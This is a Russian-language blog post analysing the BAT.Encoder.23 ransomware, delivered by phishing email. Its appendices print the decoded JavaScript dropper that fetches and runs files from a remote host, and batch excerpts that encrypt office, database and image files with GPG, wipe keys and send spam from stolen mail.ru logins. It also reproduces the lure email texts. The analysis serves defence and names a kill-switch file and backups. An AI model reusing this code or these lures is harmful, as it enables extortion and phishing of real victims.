Исследование вируса BAT.Encoder.23





Люди всегда стремились за лёгкими деньгами. Ранее для этого отправлялись на войны, поиски приключений. Сегодня  в век информационных технологий, лёгкие деньги можно получить другими путями, чаще незаконными.
Один из этих путей перекупка  шаблонов под вирусы, и настройка на свои сервера/ адреса эл. почты/ биткоин-кошельки.
И так начнём наше маленькое расследование.

Письмо пользователю пришло от доверенного источника. Во вложении был архив.
В самом архиве - JS, который был закодирован. После раскодировки он принял довольно читаемый вид, из которого сразу видно какие файлы и откуда он скачивает (см. приложение 1). Как видим путём установления констант вирус легко переустраивается под наши нужды.  Теперь перейдём к разбору самого CMD файла ответственного за шифрование. (см. приложение 2)
            Как и положено хорошим программистам в начале идёт описание всех констант:
Далее идёт проверка на наличие файла "%Temp%\alligation.bit" и если он существует выполняется переход на этап skipcrypo
            В модуле skipcrypo первым этапом идём опять проверка на наличие файла  "%temp%\skipcrypo.bit" . И если он есть, то идёт  переход на этап skipall.
            А сам этап заканчивается выходом из скрипта.

Получается, если у нас есть 2 файла - "%Temp%\alligation.bit" и "%temp%\skipcrypo.bit" , то вирус просто прекратит свою работу. Интересная вакцина выходит.
Но нас интересует, что ещё делает данный зловред.

И так, после инициализации и проверки наличия файла "%Temp%\alligation.bit", идёт его создание и запись данных в него (использование как лог файла).
После этого проверяем наличие "%APPDATA%\gnupg", и если такая папка существует - переименовываем её).
Далее переименовываем файлы которые так же скачаны с сервера.
После этого записываем публичный ключ (случайным образом выбираем один из двух).
Далее генерируются ключи и происходит очистка всех “хвостов”, с использованием либо встроенной утилиты sdelete с 10 раундами очистки, либо трижды пишется “мусор” из констант и удаляется файл закрытого ключа.
Далее идёт перебор дисков для шифрования данных.
В первый проход шифруют (*.xls *.xlsx *.doc *.docx *.cdr *.slddrw *.dwg *.pdf), за второй проход - (*.mdb *.1cd *.accdb *.zip *.rar *.max *.cd *.jpg)

После чего на рабочий стол создается письмо с уведомлением о зашифровании файлов, и необходимых последующих действиях пользователей. так же копируются необходимый ключи для дальнейшей работы

Далее отправляется информация злоумышленникам о том, что шифрование завершено, а так же скачиваются логины/пароли от почтовых систем для проведения рассылок. генерируются случайные тексты и производиться их отправка

ОБразцы писем приводятся ниже.

На этом работа скрипта по шифрованию заканчивается.

Как краткие выводы сделать такие:
     скрипт очень простой и легко модифицируем под различные наборы сайтов/эл. почты
     существует “вакцина” от данного файла
     если данный вирус пойман, то его необходимо сразу останавливать и  искать файлы private.key и отдавать, к примеру в аналитический центр Dr. Web
     только регулярные бекапы дадут не уязвимость перед данным семейством зловредов
     от известных компаний есть свои рекомендации по противодействию


Валерий Кулик
http://efsol.ru/solutions/data-protection.html


Приложение 1.
function exploreworld(e, t) {
            var n = new ActiveXObject("MSXML2.XMLHTTP");
            n.onreadystatechange = function () {
            if (4 === n.readyState) {
            var e = new ActiveXObject("ADODB.Stream");
            e.open();
            e.type = 1;
            e.write(n.ResponseBody);
            e.position = 0;
            e.saveToFile(t, 2);
            e.close()
            }
            };
            n.open("GET", e, !1);
            n.send()
}
function CreateObject(e) {
            return new ActiveXObject(e)
}
var cyprus = "%TEMP%\\clicrypt.bat",
            fouque = "www.r*******st.net",
            offshore = "%TEMP%\\",
            charity = "images",
            WshShell = WScript.CreateObject("WScript.Shell"),
            word = "%TEMP%\\word.doc";
WshShell = CreateObject("WScript.Shell");
offshore = WshShell.ExpandEnvironmentStrings(offshore);
try {
            exploreworld("http://" + fouque + "/" + charity + "/doc.bit", "" + offshore + "word.doc"),
            WshShell.Run("" + word + "", 1, 0)
} catch (fakeword) {}
exploreworld("http://" + fouque + "/" + charity + "/night.bit", "" + offshore + "night.bit");
exploreworld("http://" + fouque + "/" + charity + "/fake.bit", "" + offshore + "fake.bit");
exploreworld("http://" + fouque + "/" + charity + "/clicrypt.bit", "" + offshore + "clicrypt.bat");
exploreworld("http://" + fouque + "/" + charity + "/trash.bit", "" + offshore + "trash.bit");
WshShell.Run("" + cyprus + "", 0, 0)



Приложение 2 (Приводятся только части кода, которые нас интересуют)
------

set tproraryf=%Temp%
set tappd=%AppData%
set lomail=ru*******st.net
set randstuff1=UDWJjhhasd61661HbbasghdYQ1l5N4ItPb23UBA6Embly6Zenqi
set randstuff2=fbgfasgYYafgyqayehjYUAhbjdasilgnjsSAdgjbfuYESGTSFbSDyhhiygedBHASgdtyfwabcnvdbskgfUYAGDa
set randstuff3=HHyhIkdbhI10OLjkfiYOqbGTFCgcxbftETFGA4NETinxUDSNFhHGDFgkNTEWfunxgn24yGSFNGYcugfnYEGSFdfGYUGSDFYJKGNFuygnNEYFXgfEgNYFEsdfk472FYGFNC
CD "%Temp%"
set line5=g2SUMAoSi3xu
if exist "%Temp%\alligation.bit" goto skipcrypo
echo Contagion&echo Contagion>"%Temp%\alligation.bit"
echo Exemption stage
CD "%AppData%
if exist "%APPDATA%\gnupg" (rename "%APPDATA%\gnupg" gnupg_backup%random%&attrib -s -h -r "%appdata%\gnupg\*.*"&attrib -s -h -r "%appdata%\gnupg"&del /f /q "%appdata%\gnupg\*.*"&rmdir /s /q "%appdata%\gnupg") else (echo gpg_not_found)
CD "%Temp%"
RENAME "%Temp%\night.bit" iconv.dll
RENAME "%Temp%\trash.bit" sdelete.exe
RENAME "%Temp%\fake.bit" spoolsvr.exe
SetLocal EnableDelayedExpansion

-------

:skipcrypo
cd "%TEMP%"
if exist "%temp%\skipcrypo.bit" goto skipall


----

:skipall
exit

----


set /a RA=!random!%%2+1&set /a N+=1
if not defined RA (goto bitkey) else (echo Contagion defined)
if !RA!==1 goto bitkey
if !RA!==2 goto oldbitkey
goto bitkey

---

"%temp%\spoolsvr.exe" --homedir "%Temp%" --batch --gen-key "%Temp%\genpair.bit"
"%temp%\spoolsvr.exe" --import "%temp%\impubkey.bit"
"%temp%\spoolsvr.exe" -r %pubname% --yes -q --no-verbose --trust-model always -e "%temp%\secring.gpg"
del /f /q "%Temp%\random_seed"
del /f /q "%Temp%\*.lock"
del /f /q "%Temp%\genpair.bit"
del /f /q "%Temp%\impubkey.bit"
sdelete.exe /accepteula -p 10 -q "%temp%\secring.gpg"
if exist "%temp%\secring.gpg" (echo %randstuff1%>"%temp%\secring1.gpg"&echo %randstuff2%>"%temp%\secring.gpg"&echo %randstuff3%>"%temp%\secring.gpg"&del /f /q "%temp%\secring.gpg") else (echo privatekey_was_erased)
RENAME "%temp%\secring.gpg.gpg" KEY.PRIVATE

--------------------

if exist Z:\*.* for /r "Z:\" %%c in (*.xls *.xlsx *.doc *.docx *.cdr *.slddrw *.dwg *.pdf) do (echo spoolsvr.exe -r %namereal% --yes -q --no-verbose --trust-model always -e "%%c"^&move /y "%%c.gpg" "%%c"^&rename "%%~fc" "%%~nc%%~xc.%exten%">>"%temp%\databin.lst")
if exist B:\*.* for /r "B:\" %%c in (*.mdb *.1cd *.accdb *.zip *.rar *.max *.cd *.jpg) do (echo spoolsvr.exe -r %namereal% --yes -q --no-verbose --trust-model always -e "%%c"^&move /y "%%c.gpg" "%%c"^&rename "%%~fc" "%%~nc%%~xc.%exten%">>"%temp%\databin.lst")

---

IF EXIST lmailru.txt (IF EXIST pmailru.txt (
set /p lmailru=<lmailru.txt
set /p pmailru=<pmailru.txt
svhost.exe -u !lmailru!@bk.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist MSG*.txt (set validmail=!lmailru!@bk.ru& goto endlocal4)
svhost.exe -u !lmailru!@mail.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist MSG*.txt (set validmail=!lmailru!@mail.ru& goto endlocal4)
svhost.exe -u !lmailru!@inbox.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist MSG*.txt (set validmail=!lmailru!@inbox.ru& goto endlocal4)
svhost.exe -u !lmailru!@list.ru -pw !pmailru! -s pop.mail.ru -headersonly -m 1
if exist MSG*.txt (set validmail=!lmailru!@list.ru& goto endlocal4)

---

Добрый день,
Высылаю Вам акт сверки (скан в приложении).Прошу рассмотреть документ и выслать мне свои комментарии
Ждем денег от Вас уже второй месяц.

Высылаю Вам протокол разногласий к договору от 01.09.2014 года (документ во вложении). Прошу рассмотреть наши предложения и выслать комментарии.Нас смущает ответственность в виде пени и штрафов. Мы хотели бы ее исключить из контракта.
Вложения:

День добрый,
Бухгалтерией была проведена сверка - Акт во вложении. По нашим данным Вы нам должны около 20 тыс. рублей. Не исключено, что бухгалтера где-то ошиблись.
Проверьте данные. Очень жду Ваших комментариев.
Вложения:

Здравствуйте,
Мы провели сверку по актуальным контрагентам.
По нашей информации, Вы не провели оплату по нескольким счетам.
Просмотрите акт (в приложении) и подтвердите наличие долга. Жду от Вас ответа.
Здравствуйте.
Как и договаривались, высылаю Вам типовую форму договора (во вложении). Если от Вас замечаний не будет, я передам экземпляры на подписание моему руководству.

Здравствуйте!  Во вложении - Ваша типовая форма контракта с правками наших юристов. Если наши исправления в части сроков не критичны, хотелось бы организовать встречу и подписание. Жду Вашего ответа.

Высылаю Акты приема-передачи согласно контракта от 21.08.2014 года - в приложении.Если по тексту у вас замечаний не будет, я передам их на подписание. Оригиналы вышлем Вам курьером.

Добрый день,
Мы получили запрос от налоговой службы - скан-копия в приложении. Налоговики требуют от нас предоставить им всю первичную документацию по нашим совместным проектам.Посмотрите, пожалуйста, текст их запроса. У нас есть еще 2 рабочих дня на ответ. Возможно, не все следует им "показывать".
Надеюсь на оперативную обратную связь, поскольку у нашего руководства паника.

День добрый,
ФНС нам прислала письмо с требованием предоставить все первичные документы, касающиеся нашей с Вами работы.Не понимаю, что они пытаются отыскать, но думаю, Вам будет интересно ознакомиться с их письмом (скан в приложении). Очень прошу дать быстрый ответ, все ли нормально, и можем ли мы им показывать документацию. На ответ у нас есть еще два рабочих дня

Добрый день,
Пришел запрос от прокуратуры с требованием предоставить им все договора к которым Вы имеете отношение.Прошу внимательно его изучить и ответить, можем ли мы им все "показывать". Против Вас и Вашего руководства уголовное дело заведено что-ли? Спасибо

 

Комментариев нет:

Отправить комментарий